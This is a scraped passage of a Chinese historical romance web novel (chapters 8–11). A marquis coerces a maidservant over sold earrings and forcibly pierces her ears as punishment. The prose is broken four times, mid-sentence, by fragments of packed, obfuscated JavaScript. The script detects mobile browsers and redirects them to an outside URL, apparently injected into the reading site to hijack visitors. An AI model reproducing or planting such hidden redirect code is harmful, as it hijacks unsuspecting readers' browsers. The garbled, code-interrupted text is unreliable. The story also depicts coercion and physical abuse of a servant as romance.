d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836537|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急得红霞爬满了脸颊:“快了,快了。” 一双手更加肆无忌惮地到处惹祸。 裴铉的眼神晦暗,蠢蠢欲动:“我可等不及了。” 宁泠正要不解地抬头望去,却忽然之间自己双手被牢牢禁固,无法动弹。 他的手极大,手指更为修长,骨节分明。他掌心的温度很是炙热,两只手如铁钳掌控着她。 裴铉低下头,在她耳畔轻声说道:“怎么这么笨?来了这些日子还没学会?” 他湿热温暖的气息喷洒在她的敏感耳垂上,刺激得她浑身轻颤。 她欲要开口辩解,又听见他说道:“也罢,我便亲手教你,下次还学不会可要受罚的。” 他的修长干净的手牵引着她纤细莹白的手指,一点,一点地摸索着秘诀。 静谧无人的内室,倏地轻微咔嚓一声想起。 明明只是片刻功夫,宁泠却十分难捱,光洁小巧的额间出了细密的汗珠。小口小口呼吸着外面的新鲜空气,刚才似乎有种窒息感束缚着她。 幸好裴铉的手也在此时松开,他好整以暇地看着下方的宁泠:“怎么这么娇气?不过解个腰带而已就能累成这样?还能指望你干什么?” 宁泠不服气道:“我只是未曾见过这块腰带,其他的我都会。” 裴铉语调懒洋洋道:“既然如此,那以后就由你专门负责这件事,不然你如何证明自己。” 宁泠杏眼微睁,表情诧异,虽然不愿接下这个活。却也知他不喜人忤逆反驳,只得讪讪闭嘴。 “赏给你的首饰呢?”他的视线扫视着她浑身上下。 宁泠拿出心里早已准备好的借口:“侯爷赏赐的东西贵重,奴婢已珍重收好,不敢有半点损坏。” 这话逗笑了裴铉,他轻笑出声:“有多好?多珍贵?” 宁泠:“听说用料昂贵,很是不俗。奴婢想着妥善收好,留着做传家宝。” 裴铉那双深情漂亮的桃花眼带着笑意,攻击性极强的俊美脸蛋稍稍柔和了些:“传家宝倒是不必,你日后若是哄得我开心了,这些东西断不会少。” 宁泠眉目闪过不安,寻常主仆即便是赏赐,也大多是是金银黄白之物。 那有男主子送侍女首饰?还暗示良多的? 她的思绪很快又被他打断:“你既如此宝贝,明日带来给我瞧瞧,是什么东西让你如此宝贝。” 本以为刚刚已经蒙混过关的宁泠,心里才稍微松懈的心,立刻又被他这话高高悬吊。 她顺从地答是,幸好她也早已有准备。 两人谈话之间,他已自动褪去了外袍,换了身常服穿好。 裴铉的公务繁忙,之后就一个人径直去了书房。 宁泠没想到他竟亲自过问首饰这件事?也不知他知晓耳坠被卖了一事后,会不会大发雷霆? 她忽地有些后悔卖出去了,不会给念儿招惹祸事吧?又想到紫叶那日暗含深意的一瞥,她心里惊醒。 紫叶可是裴铉身边伺候的老人了,是他的心腹。虽说自己刚才想好了明日的应对办法,可她若是直接戳穿哪可就瞒不住了。 她要去找紫叶谈谈。 8. 第 8 章 宁泠找到紫叶的时候,她正忙着带小丫鬟给裴铉的衣裳们熏香。 念儿也跟着搭把手,好奇问道:“宁泠你怎么来了?” 房间里有好几个丫鬟,人多眼杂,宁泠不好多说耳坠的事情。 她只能笑着答道:“我来瞧瞧有什么,我能帮忙的?” 念儿偷偷嘀咕道:“你把侯爷伺候好,就是顶顶重要的大事了。” 宁泠闻言一愣,尴尬地低下头。 紫叶不轻不重地瞥了眼她,她又急急忙忙说道:“我是怕侯爷不顺心又发脾气。” 紫叶的脸色急急转变,大声呵斥:“身为丫鬟,主子的事情岂是你可以议论的,还不快闭嘴。” 念儿是争晖院里的二等丫鬟,平时都是做些杂活,轻易是见不到主子的。 又因是府里的家生子,旁人并不愿意随意得罪,所以混的如鱼得水,心性单纯。 宁泠站在旁边内心暗暗感叹,自己来得可真不是时候。 她只能回答道:“我去瞧瞧茶水准备得如何了。” 没一会念儿这个小尾巴就跟了上来,她委屈巴巴道:“宁泠我真没有其他意思,就是觉得你受主子赏识,不必干那些杂活。” 宁泠不在意地笑笑:“我有什么可生气的。” 她的视线撇见念儿还带着那对耳坠,问道:“你就这么喜欢还日日带着?” 念儿高兴点点头:“那是。” 说完她又看看宁泠全身上下没一点首饰,嘟囔道:“既然侯爷赏了姐姐,姐姐怎么不带上。” 宁泠想着等会与裴铉有又得纠缠,无奈道:“我就只会用丝绦绑绑头发,梳发髻我可不会。” 念儿自告奋勇道:“我教姐姐。” 夕阳西沉,一抹残红映照在上空时,裴铉才带着林韦德回府。 今日天气不似以往闷热,时不时有清爽的微风吹过,甚是惬意。 宁泠几人伺候着裴铉更衣洗漱后,他稍稍卸下一日的劳累。 他坐在紫檀木太师椅上,摩挲着大拇指上的上好玉韘。 脸上带着一贯的笑意,视线毫不避讳地落在宁泠身上。 今日她穿了身湖蓝色的纱裙,夏日是清爽宜人,浑身上下似乎带着凉意。 杨柳细腰他堪堪一掌便能够握住,柔顺的青丝如瀑布倾泄,光泽柔亮。 头上的发髻很是简单,但簪着一只梅花白玉簪子,衬得她温婉如玉,清冷动人。 下面准备好的茶水很快送了上来,宁泠端至他旁边搁下。 手如柔荑,指如青葱。裴铉暗暗评价,又瞥见她纤细手腕上的银镯子,肌肤细嫩赛雪,银镯子却透着几分俗气。 他开口问道:“就只有这两样东西?” 宁泠听不出他话里的喜怒,不敢骗他只得老老实实道:“还有一对耳坠。” 紫叶在一旁焚香,将准备好的驱蚊草的香粉倒入香炉后悄无声息地退下了。 香粉在遇见高温的作用下,细细的烟雾向上蔓延。 淡淡的木质清香味在屋内弥漫,刚才还有旁人的室内,此刻只剩下静悄悄的两人。 裴铉接着问道:“那你为何不带?” 他的声音里并不带恼怒,似乎还带着轻笑。 宁泠低头答道:“奴婢没有耳眼,所以便搁置收好了。” 裴铉饮茶的手缓慢一顿,挑眉诧异道:“你竟没有耳眼?” 此朝风俗,女子大多幼年孩童时期就会穿耳,似她这样倒很是稀奇。 宁泠点点头:“真的没有。” 语气诚恳。 裴铉搁下手上的陶瓷茶蛊,怀疑道:“你过来,我瞧瞧。” 宁泠只得凑着他的方向靠近了些。裴铉又闻见那股熟悉的橘子清香味,他瞥了眼两人之间的距离,似笑非笑问道:“难道还要我来请你不成?” 宁泠柔柔说了句:“不敢。” 她又轻手轻脚靠近了些,她也不知就是区区几件首饰,裴铉为何如此在意? 裴铉心满意足地笑笑,他身形高大,极为修长,哪怕他是坐在椅子上。 宁泠站在他面上,却还是能感受到强大的压迫感。 似乎能感受到全身被他牢牢包裹住。 裴铉的视线从她的面颊转向她的耳垂,明明是无形的视线,宁泠却莫名地羞耻。 她浑身不适地低垂着头,犹如一件被人随意把玩的观赏品。 不少零星碎发遮挡住了小巧的耳朵,裴铉肆意地伸手轻轻拂开碎发。 他一双幽深的眼眸专注地盯着半响,才道:“还真没有。” 耳垂小巧精致,形状完美,如玉的肌肤上染着淡淡的粉嫩,如同熠熠生光的宝石。 宁泠抗拒地站在原地,只希望他早早结束这一场审判。 那知他似乎玩心大起,那双修长有力的手又转移至宁泠另一侧耳际。 他还不放心地身子前倾,眉眼认真地观察。 他呼吸之间的热气喷洒在她耳后,惹得宁泠轻颤。 偏偏裴铉还不愿意放过她,更为嚣张地用手腹揉搓感受。 即使是世间再上好的玉脂,也不会比之更有质感了,他想着。 他这动作,吓得宁泠反手想要抓住他作恶多端的手,阻止他的动作。 裴铉眼疾手快先一步收回手,漫不经心地倚靠着椅子上。 他歪着头,嗓音带着逗弄:“还不知你的胆子如此大,还想动手打我?” 宁泠只能呐呐道:“不敢。” 裴铉又话题一转,嗤笑道:“林韦德的眼光的确不行,选的都是些什么货色,你竟还拿着当个宝。” 宁泠不知他又打什么坏心思,貌似恭敬:“主子送的东西,奴婢自然是视若珍宝的。” 这番话引得裴铉眉眼俱笑,他本就生的英俊不凡,笑意淡染更是风流倜傥。 “改日我让王管家再选些好东西赏你。” 宁泠极为不喜欢赏赐这几个字,带着居高临下对他人的蔑视。 她轻扯嘴角敷衍地应承。 晚上下值时,已是圆月高挂,繁星满天,四周寂静。 她正欲回屋,却见前方似乎隐隐约约有个人影,待走近了一瞧发现是紫叶。 宁泠纳闷问道:“紫叶姐姐你在这干什么?” 深夜众人都已回了自己房屋,唯独她一人似是久站等候。 果然她答道:“我是在专门等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836538|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你。” 宁泠更奇怪了:“紫叶姐姐有什么急事吗?” 即便是有事也不必深更半夜来说,多半是急事。 紫叶沉默片刻后,还是说出:“耳坠的事情,你没有如实告诉侯爷吧?” 若是如实相告,必不会如此风平浪静。 宁泠瞬间警惕,莫不是她想告状。 紫叶又接着道:“与我无关的事,我不会去蹚浑水。但我还是想提醒你一句,欺瞒侯爷是没有好下场的。” 宁泠心里提起地大石头稍稍放下,此事今日已经揭过了。 她不信裴铉那个大忙人,还会盯着几件首饰,一连追问几次。 紫叶瞧出了她的心思,提醒道:“一时侥幸罢了。” 宁泠虽然不认为裴铉有如此神通广大,但还知道她的好意,还是道谢道:“谢谢你的提醒。” 紫叶话一说完,转身就走了。 天色刚蒙蒙亮,众人就伺候着裴铉起身。 林韦德横抱着那把大刀从院子门口走进。 念儿手拿着扫帚清扫地上,她手脚麻利地清扫,嘴上也不得空:“禧福,你发现今日我的不同之处没?” 禧福用力提着一个水桶,水桶是满满当当的水。 他满脸通红地使劲,嘴上回答道:“有何不同。” 念儿不满地噘嘴:“真是个瞎子。” 禧福将水倒入为花花草草浇水的水壶后,用袖子擦擦脸上的汗。 终于有了空暇,他转头往后瞧了一眼。 发现并未有什么不同后,他又不死心地看了一眼:“有什么不同?” 念儿气不过,这可是她足足花了两个多月月银买下的宝贝。不识货的东西。 她一时没控制住音量,大声吼道:“你没瞧见今日我这耳坠不一样?” 林韦德踩着孔武有力的步子从大院中间穿过,院子四周其实有不少的丫鬟小厮在忙活。 这声嗓音够大,引得他不悦地望去。 话刚出口,念儿就知晓自己犯了错,马上闭嘴低头,禧福也赶紧继续忙活手头的事情。 林韦德瞥了眼那小丫鬟刚才念叨的耳坠,似乎有些眼熟。 见他一直死死盯着这里,念儿后悔不已,身后早已被冷汗浸湿。 伫立不走的林韦德刚想走近几步,仔细瞧瞧就见她被吓得哆嗦着跪下。 他只好皱眉离开了,等他走后念儿瘫软的跪坐在哪儿。 禧福小跑过来将她扶起,嘴上轻声说道:“往日你大嗓门没人管你,可莫要开罪了贵人些。” 念儿被吓了一遭也不再贫嘴,只点点。 林韦德与裴铉出门办公的路上,裴铉笑着摇摇画着山水画的纸扇道:“今日这么如此稀罕?谁惹怒你这个闷葫芦了?” 林韦德心里已然有了怀疑,却也不知是否属实,而且也犹豫此事是否需要汇报。 他沉默片刻后才回答:“许是那小丫鬟瞧我长相凶恶。” 裴铉放声大笑,转头对身后跟着的王柏道:“你去选些上好的首饰给宁泠。” 见林韦德面色不解,裴铉揶揄道:“你这眼光,选的都是些什么货色,偏偏那个小丫头还当是个宝。” 9. 第 9 章 林韦德面色纠结,望了望笑得肆意张扬的主子,选择闭口不言。 王柏点头称是。 送走了裴铉后,宁泠打算做些什么。 裴铉对她动手动脚,竟还送了首饰。 偏偏对待紫叶和其他侍女,倒是循规蹈矩。 在这么下去,她迟早会出问题,如今手上的银子和首饰加上,逃跑也能暂时不为生计发愁了。 宁泠坐在阴凉的廊下,思考着这么逃跑。 念儿手上捧着一盏酸梅汤走了过来,递给她道:“宁姐姐给你。” 宁泠笑着弯弯眉眼接了下来,喝了一口酸甜适中,问道:“灶房拿的?” 念儿点点头:“灶房的杨管事可是我亲戚呢。” 宁泠喝着酸梅汤问道:“做了管事岂不是日日都可以出门?” 念头一脸苦恼道:“她们可是忙人,那里有空出门去。都是安排丫鬟,婆子些出门采购,本来这个月我也可以出去玩玩,可银子都用光了,还不如不出去。” 念儿是家生子,签的是死契,这点与宁泠是一样。 她们都不可以随意出门,她接着问道:“你出府要找何人报备?我也能出去吗?” 念儿想了想回答:“我出门很是简单,给紫叶姐姐说一声就成。” 她瞧了瞧宁泠,小声道:“估计你得找王管家,但是我觉得他也不敢做主,最后估计要侯爷点头才成。” 宁泠微微失落地叹叹气,又忽然想起什么。 她进屋将裴铉出门前赏给她的果盘递给念儿:“谢谢你告诉我。” 果盘里都是新鲜珍稀的水果,像是荔枝、葡萄等等这些上好水果,可不是小丫鬟们能随随便便吃到的。 念儿开开心心地收下,迷惑道:“姐姐,你怎么不吃?” 宁泠:“夏日里吃什么都没胃口。” 裴铉对她越好,她越是提心吊胆,那里还有什么胃口。 生怕他那日就成了禽、兽逼迫她成了通房。 王柏对于内务之事,显然比林韦德处理地更加得心应手。 裴铉刚下值回来,林韦德就声称有事退下了。 王柏手上捧着一个贵重的描漆木盒过来,请示问道:“这些都是属下今日选出来的首饰,侯爷可要定夺?” 都端到面前了,裴铉挥手道:“那便打开瞧瞧。” 王柏将木盒轻轻搁在裴铉书案上,再当面打开。 一支上好的镶嵌红宝石石榴步摇,一对光泽细润的玉手镯,一对点翠珐琅耳坠,一串璎珞串宝石项链。 裴铉满意地点点头,恰见林韦德正从外归来,便问道:“何事如此急急忙忙?” 林韦德一眼便瞧见书案上,种类丰富,精美华丽的首饰。 他闷声答道:“想到了一些事情,不确定便让人去查了查。” 裴铉浑不在意地挑拣着首饰:“这对玉镯成色不行。” 他想了想又接着道:“这副耳坠也不必了” 王柏瞠目结舌,这对玉镯的水光泽放在外面,便是那些夫人贵女些也爱不释手的。 更何况宁泠只不过区区一个丫鬟。但他也不敢反驳主子,只得答是。 沉闷不开腔的林韦德却忽然主动说道:“王管家你先下去吧,我去送即可。” 王柏知道,在侯爷心里,自己是无论如何都比不过林韦德。 他点点头退了下去。 此话一出,裴铉停止掌心把玩的玉镯,语气散漫:“终于舍得说出来了?憋了一天了,累不累?” 等彻底确定王柏关门出去后,林韦德一口气说完:“宁姑娘将你赏的耳坠,以三两的价格卖给小丫鬟了。” 室内瞬间寂静无声,沉默的片刻杀机四伏。咔嚓一声,裴铉掌心处地玉镯应声而碎,室内的温度似乎都下降了些。 林韦德小心翼翼:“主子,仔细您的手。” 裴铉阴恻恻笑道:“她可真是小心供奉呐。” 他将手里的碎渣任意地丢在桌面上,好好一只玉镯碎成了几截。 林韦德偷偷观察了几眼,幸好手没受伤。 刚松一口气,又听见外面传来轻柔的敲门声:“侯爷现在可以进来吗?” 是宁泠的声音。 裴铉拿过一旁的干净手帕,轻轻嗯了一声。 林韦德不敢继续久呆,麻利地收拾了碎片,就火急火燎地快步出去。 宁泠手上端着热茶,迷惑地瞧了眼他离去的背影。 刚刚摆置好茶水,她就感受到室内低沉压抑的气氛。 她本还想着试探请示出府的事情,如今也不敢贸然开口。 裴铉却先开口了:“今日你怎么也不带那些首饰?” 问的猝不及防,宁泠下意识回答:“奴婢不会梳发髻,用丝绦方便些。” 裴铉意味深长的眼神在她身上打圈:“前儿说是因为贵重舍不得,今日又说因为不会梳理到底是因为什么呢?” 他像是森林最强的捕食者,势在必得眼神,浑身上下散发着危险。 宁泠不知这点小事有何必要纠结,但还是尽量做低伏小:“是因为奴婢手艺不好,怕没有簪稳朱钗摔坏了。” 裴铉却没有被她轻易糊弄过去,他一双有力的大手直接钳住她的下巴。 迫使她抬头,迎接着他睥睨的目光。 他不怀好意地轻笑问道:“你说的都是真话吗?” 宁泠面色染红呼吸都急促了些,刚要回答。 又见他轻搭一根修长的手指放她柔软的唇珠上,轻轻嘘一声道:“想好了再回答,欺瞒我的下场可是死的很惨。” 宁泠心里恐慌不已,犹豫着想要说出真相。 可又转念一想,她本就没有耳洞不佩戴耳饰,自然是再正常不过的事情。 多半又是裴铉拿她寻开心,恐吓于她。 于是她强撑着一口气道:“自然没有欺瞒侯爷。” 闻言裴铉也不再犹豫,瞬间松手。 宁泠心里暗探自己刚才的决定是正常的,若是他早已知道,哪能如此快就不追究了,刚才多半是诈她。 他虽然控制着力道,没有下狠手。但还是在她娇嫩的肌肤上,留下了捏红的印记。 宁泠本还想着探探口风,现在一瞧便知他心情可算不得好。 秉着不想惹祸上身的主意,她正打算请安告退着,眼尖地瞥见了书案上散落的首饰。 裴铉察觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836539|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了她的视线,他似是忘记了刚才的场景,俊脸带笑问道:“这几样首饰如何?” 他修长干净的手指将首饰一一摆放好。 拿起那对点翠珐琅耳坠时,他嘴角的笑意更深:“这副你可喜欢?” 宁泠却觉得他的语气不太对劲,令她毛骨悚然。 她不敢说什么反话惹怒他,低眉顺眼答:“很是精美漂亮。” 宁泠不知明知她没有耳洞,为何还要问她耳坠之事。 裴铉似是洞察人心,他轻轻笑了却带着邪气:“终有一日你能用上。” 就在宁泠以为裴铉会将这些首饰赏赐给她时,又听见他说退下。 宁泠答是,小心退下。从裴铉这里出府怕是行不通了,不如去找王柏试试? 她是在账房吃找到的王柏,他一副斯斯文文的书生像。 一瞧来人是宁泠,他脸上带着笑,自动开口招呼道:“宁姑娘找我不知何事?” 当日牙婆子上门,他可是一眼就挑中了她。虽对她的相貌有信心,但也不敢随意将人安排在主子的院子里。万一她言行无状冲撞了侯爷,他岂不是跟着受牵连。 但他也的确没想到短短时日,他还没和她搭上线。她便成了主子面前的红人,连他也不敢得罪。 宁泠恭敬地行礼后问答:“王管家好,我近日想外出买些物件,不知可否方便?” 王柏那双不似书生的眼眸微眯,打着太极道:“宁姑娘可是侯爷殿下伺候的红人,此事那里是我能够做主的。” 宁泠虽然有些垂头丧气,但其实结果也是意料之中。她答谢后正要离去。 又听见王柏问道:“今日侯爷送给姑娘的首饰,还是在下挑选的,也不知合姑娘的眼光不?” 宁泠眉头轻锁:“今日侯爷未曾赏赐首饰。” 她虽然看见了东西,可裴铉却没有赏赐给她的打算。当时她也有点纳闷,那日他自己亲口许诺,会让王柏选些好的,是什么让他忽然改了主意? 王柏面色一变,又联想起林韦德当时急忙打断自己,如今宁泠又迫不及待找他出府? 前不久府上才出了探子,莫非这宁泠也是? 所以当时沉闷的林韦德才会如此急躁,侯爷也因此没有赏赐首饰。 一想到此事严重,等宁泠离开后,他马上前往争晖院准备汇报此事。 王柏到争晖院的时候,天空飘着小雨,细细斜斜,雨不大,淋在头顶处头发似沾了糖霜。 裴铉在外书房处理公务,他的外书房是不准旁人出入。 里面伺候的人也只林韦德一人,王柏进去的时候,他也没让林韦德退下。 “何事?” 冷冰冰的几个字,主子的心情显然不好。 王柏不敢耽搁,开门见山道:“今日宁姑娘找属下,想要出府。” 闻言听见上方传来一声嗤笑,他又连忙道:“属下已经回绝,让她请示您。” 王柏本想说,她说不定是他府派来的探子。 可他偷瞟上方,却发现主子依旧矜贵淡漠,挥手让他退下。 等王柏走后,裴铉冷笑吩咐道:“林韦德你去好生安排下,届时本侯倒要瞧瞧她还能如何狡辩。” 10. 第 10 章 宁泠百思不得其解几日后,也渐渐放下了此事,专心琢磨逃跑之事。 “今日侯爷休沐,你可莫要耽搁了时间。”外面传来紫叶的敲门提醒声。 “好,我马上来了。” 近日裴铉很是繁忙,早出晚归,成天都看不见人影。 宁泠也没机会和他说出府的事情。 今日恰好有空可以一试,等她到的时候,裴铉似乎似笑非笑地瞥了她一眼。 往日这个时辰他都爱去练武场,与林韦德切磋一番。 今日却是一反常态,慢悠悠地朝着争晖院的后院处散步。 早晨的空气清新,似乎还带着丝丝甜味,晨曦已出,但光线并不强烈。 晒在人身上懒洋洋的,很是温暖。 后院的路径处都培育着不少珍贵花花草草,早上的鸟儿轻柔的声音也婉转歌唱。 裴铉背着手漫不经心地走在前方,后面不知何时就只余宁泠了。 也不知紫叶是何时悄无声息地走了。 宁泠面容恬静,她很喜欢这样温和平静的日子,整个人都放松了些,脸上带着惬意幸福的笑容。 再往前走就是小丫鬟的居住了,偏偏裴铉的脚步没有任何停顿。 宁泠不知他是没注意,还是怎的? 但毕竟整个府邸都是他的产业,她也不好置喙他。 周围稀稀疏疏地遇见不少小丫鬟了,大家都面色吃惊地行礼问好。 宁泠心里七上八下,隐隐约约觉得不太对劲,脚步略有停顿。 裴铉似是有所感应,回头一笑:“你怎么傻愣在哪儿,快跟上。” 两人没走多远,裴铉就忽然停下,双手抱臂,嘴角戏笑。 宁泠顺着他的目光望去,是念儿。 念儿正背对着他们在清理银杏树下的金黄色落叶,周围此时只她一人。 宁泠头皮发麻,回头望向裴铉。 却见他挑眉示意她继续,她回头再看念儿时,不知何处跑来了一个丫鬟。 她并不认识,不过念儿似乎认识。 小丫鬟穿着三等丫鬟的粗布旧绿衣裙,只听她谄媚道:“念儿姐姐,你的耳坠可真好看呐。” 宁泠脑子霎时间一片空白,连呼吸都忘记了。 她刚想要出声制止,就见念儿开心地摸了摸自己的耳垂,语气欣喜:“那是,这可是我花了足足三两银子买的宝贝。” 青衣小丫鬟捧场的赞叹一声,又接着道:“可是外面的大商铺里卖的稀罕货?” 念儿得意地摇摇头:“外面的货那有咱府上的宝贝稀罕,这可是侯爷赏给宁姐姐的好东西 此话一出,宁泠顿时明白,这场戏今日就是特意为她排的。 联想到那日裴铉的试探,王柏的疑问。恐怕他那日就知道了真相,戏耍着逗弄她回答。 如今更是上演了这么一场好戏,就是为了拆穿她,让她无话可说。 宁泠嗓子干涩地承认道:“是我欺瞒于你,耳坠我早就卖了出去。 她这突然的说话声,惊得念儿等人急忙回头。 见主子也站在那儿,两人连忙磕头跪下。念儿一看这场景吓得魂飞魄散,暗骂自己多嘴。 裴铉兴致勃勃地摇摇头:“非也,非也,那日你都说了未曾欺瞒。” 说完他狭长的眼眸微眯,打量了下念儿道:“定是这小丫鬟偷拿你的东西,你不必为她遮掩。” 念儿顿时双眼睁大,颤颤巍巍开口道:“奴婢不敢,这耳坠真的是奴婢清清白白买来的。” 裴铉悠哉悠哉摇晃着纸扇,面上饶有兴致地观看着宁泠的神情。 宁泠提高音量重复道:“是奴婢擅自做主卖的,请主子责罚。” 念儿跟着后面哭的稀里哗啦。 裴铉看了眼念儿,很是不耐烦:“林韦德,脑子不清楚的小丫鬟就不必留着,速速发买了。” 念儿的哭嚎声更大了,宁泠面色惨白,跟着扑通一声跪下磕头道:“都是奴婢的错。” 花草树木处铺的都是结结实实的石砖,她扑通一声跪下,骨头的清脆声都隐约可闻。 额头磕在坚硬石砖上的声音,引得裴铉低头看去。 她白皙细腻的额头上红了一片,似乎还隐隐约约擦破了皮,丝丝缕缕的鲜血争先恐后地冒了出来。 此处的动静惹得不少小丫鬟,小厮前来看热闹。 林韦德黑着一张脸,大声呵斥退来人。 宁泠低着头跪在原地,周围的无数道目光投向她,而她只能狼狈不堪地求饶。 裴铉脸上的笑意收敛,修长有力的五指按在宁泠的肩上,稍微用力就将她提了起来。 后来宁泠也不知她是如何回了争晖院的,她像是被针线操控的木头傀儡。 不需要有私心与想法。 甫一进内室,就听见上方传来淡淡声音:“跪下。” 宁泠没有反抗,直愣愣地跪下。 裴铉眉头紧皱地瞧了眼她,面色如纸,以往潋滟的眼眸挂了水珠,却不肯轻易落下。 依旧一副倔脾气,不撞南墙不回头。 他走至书案边拿起那对耳坠,接着走至她面前。 他的身形欣长,肩宽腿长,脸上挂着笑意,掌心捏着的耳坠在碰撞间发着悦耳的叮叮声。 他不紧不慢地蹲在跪着的宁泠面前,将掌心的耳坠摊给她看:“诺,专门为你准备的,好看吗?” 宁泠麻木地点点头,不知他接下来要干什么。 他投下的身影极为庞大,将她笼罩在内。 裴铉左右环视一下,起身取来一盏烛火点亮,接着拿去早已准备好的银针。 银针在高温的火焰上炙烤,宁泠知道了他想要干什么。 她眼神惊恐地抬头,他要给她穿耳,他这个疯子! 火红的烛火映照在他的脸上,他满意地转动银针,嘴角上扬:“你既没有耳眼可以佩戴,我帮你便是。” 宁泠害怕地猛烈摇头,声音带着哭咽:“奴婢知错了,再也不会有下次了。” 她惯会口舌伶俐,花言巧语,蒙骗是非。 可似如今般嗓子哭咽却是很少,裴铉转动针尖的手微微停顿后继续。 她那么犟,不吃点苦头以后定不将他放在眼里。 眼见温度已经差不多了,裴铉用指腹捏着银针靠近。 面对未知的恐惧,吓得宁泠浑身颤抖,眼睫如振翅的蝴蝶轻颤。 他温暖干燥的指腹轻抚开头发,捏着她柔软细嫩的耳坠。 从上次瞧见,他便想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836540|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就将那耳垂占有,想在上面留下独属于他的痕迹。 宁泠感受到他的接触后,浑身更为紧绷。 “听说你为了三两银子就毫不犹豫地卖了耳坠。”说道此裴铉轻轻笑了笑,这还是他长这么大第一次送女孩首饰,转眼就换了银子。 他接着说道:“你既然如此爱银子,那我花一百两银子买下你的耳眼便是,你不吃亏。” 他阴恻恻地笑声响起,如他本人一样狂妄。 宁泠拒绝的话尚未出口,就感觉到耳垂处一阵火辣辣的刺痛传来。 接着更有撕裂的疼痛感传来,耳垂处似乎挂了一重物。 她疼得眼眸泪花翻涌,抬起眼皮望着裴铉。 他面带满意地盯着她,还赞叹道:"真是好看。" 宁泠抬手摸了摸自己的耳垂,上面还带着湿意。她放下了一看,原来是沁出来的鲜血。 他满意地欣赏着自己的创作,宁泠明白了这就是他故意的惩罚。 耻辱却无无力反抗,猫抓了老鼠戏弄,尚且可以挣扎。 她却不可以。 近日来她的提心吊胆,众人围观的难堪,被强迫穿耳的耻辱。 耳垂处传来的火辣辣的灼烧感,宁泠终于控制不住内心紧绷的情绪。 泪珠似丢了线的珍珠,一串串地流向面庞。 脸上本还带着坏笑的裴铉,神情僵硬了一瞬,伸出指腹抹了抹她的泪珠:“穿耳而已,怎么还哭了?” 宁泠不想再搭理他,反正她无论如何求饶,他定不会放过的,还不如痛痛快快哭一场。 越是这般想着,她便哭得愈发肆无忌惮。 泪水犹如决堤的洪水滔滔不绝,眼眸眼尾一片红晕。 门外的林韦德和紫叶面面相觑,主子最是不喜人哭泣,觉得吵闹晦气。 如今宁泠这般,是主子在里面干了什么丧尽天良的事情?还是她不想活命了。 眼看她哭着梨花带雨,上气不接下气。 裴铉更纳闷了:“你偷偷欺瞒与我,我如今既未罚你,你还要死要活了。” 宁泠本就耳垂处痛苦难耐,还要听见他如此混账的活。 恶向胆边生,忍不住狠狠瞪了他一眼。 声音却是柔柔弱弱,呜咽带着哭腔:“主子要杀要剐,悉听尊便。” 裴铉耐心地蹲在原地,看了眼她的耳垂,想着不如算了。 只穿一边耳就哭得如此寻死觅活的,若是再穿另外一边,她不知要记仇多久。 他刚才银针和耳坠丢回书案处,擦擦手。 又不经意间瞥见两只不一样的耳垂,甚是奇怪变扭。 他对宁泠招招手示意她过来,可她却毫无反应。 他冷笑问道:“你不想管那个小丫鬟的死活了?” 宁泠的泪水停止,泪眼婆娑地望着裴铉。 裴铉看了看她久跪的双腿:“起来,过来。” 宁泠点点头,一双腿因为今日跪了好几次,刚才又跪久了。 她起来时候身形摇摇晃晃,双腿先是发麻,麻劲过去后是一股钻心的疼痛。 迈着踉踉跄跄的步伐走向前,身形不稳。 裴铉瞧着她一步三晃,直接干脆起身单手将人抱去,扔进了书案旁边的软塌处。 11. 第 11 章 宁泠紧张地抬头望向他。 裴铉摇摇捏着的耳饰道:“打完另外一个耳眼你不哭。我就放了她如何?” 宁泠急切地点点头,本就是她的过错害了人。 她斜躺在软塌上,闭眼等待着裴铉的动作。 偏偏那厮不急不慢,慢悠悠烤着银针。 “这副耳坠,你若是再给别人怎么办?” 宁泠连忙睁眼:“奴婢那时鬼迷心窍,再也不敢了。” 宁泠觉得这次打耳洞比刚才更加难以忍受,像是一个犯人已是被死刑宣判,但却时时刻刻等待,不知何时到来。 既希望早点结束,又希望晚点行刑。 烤好银针后,裴铉弯腰靠近宁泠。 她紧张地紧闭双眼,娇俏的鼻尖,轻颤的睫毛,粉嫩的耳垂。 触及柔软细腻的肌肤,她害怕地轻颤。 “别怕,这次我轻点。”裴铉喉结滚动。 